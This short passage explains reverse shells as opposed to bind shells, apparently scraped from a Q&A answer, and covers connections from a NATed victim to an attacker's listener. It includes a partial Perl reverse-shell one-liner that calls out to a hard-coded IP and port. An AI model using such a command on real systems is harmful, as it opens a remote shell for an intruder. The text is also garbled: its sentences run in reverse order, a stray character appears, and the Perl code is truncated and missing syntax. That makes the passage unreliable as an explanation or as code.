Reverse shell is getting the connection from the victim or target to your computer. Perl shell perl -e 'use Socket $i="1.1.1.1" $p=10086 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) if(connect(S,sockaddr_in($p,inet_aton($i)))) This is exactly what is done by the following:Įxamples of reverse shells in various languages. Victim's machine acts as a client and initiates a connection to the attacker's listening server. It opens a communication channel on a port and waits for incoming connections. Reverse Shell - attacker's machine (which has a public IP and is reachable over the internet) acts as a server. So let me open a server at my end and let the victim connect to me. Now what if the victim's machine is NATed and hence not directly reachable ? One possible solution - So what if the victim's machine is not reachable. This would be only possible if the victim's machine has a public IP and is accessible over the internet (disregarding all firewall etc. In addition to the excellent answer by the answer to your question why is it called reverse shell is because it is called reverse shell as opposed to a bind shellīind shell - attacker's machine acts as a client and victim's machine acts as a server opening up a communication port on the victim and waiting for the client to connect to it and then issue commands that will be remotely (with respect to the attacker) executed on the victim's machine.
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